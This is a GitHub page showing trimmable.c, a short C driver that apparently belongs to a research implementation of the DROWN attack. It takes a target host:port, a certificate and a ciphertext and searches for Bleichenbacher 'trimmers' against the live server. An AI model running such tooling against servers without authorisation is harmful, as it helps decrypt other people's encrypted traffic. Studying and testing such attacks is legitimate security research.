-
Notifications
You must be signed in to change notification settings - Fork 9
/
Copy pathtrimmable.c
48 lines (36 loc) · 937 Bytes
/
trimmable.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#include <openssl/ssl.h>
#include "utils.h"
#include "trimmers.h"
#include "decrypt.h"
int main(int argc, char *argv[])
{
int res;
// Initialize OpenSSL
SSL_library_init();
SSL_load_error_strings();
// Create global context
drown_ctx dctx;
drown_new(&dctx);
// Read arguments
if(argc != 4)
{
fprintf(stderr, "Usage : %s host:port certfile c\n", argv[0]);
exit(EXIT_FAILURE);
}
// Initialize research parameters
dctx.hostport = argv[1];
read_public_key(&dctx, argv[2]);
res = BN_hex2bn(&dctx.c, argv[3]);
MY_ASSERT(res != 0, "c is not a valid hexadecimal string");
// Create some trimmers
trimmers_t trimmers;
trimmers_new(&trimmers, 40);
BN_one(dctx.s);
if(find_trimmer(&dctx, &trimmers))
res = EXIT_SUCCESS;
else
res = EXIT_FAILURE;
trimmers_free(&trimmers);
drown_free(&dctx);
return res;
}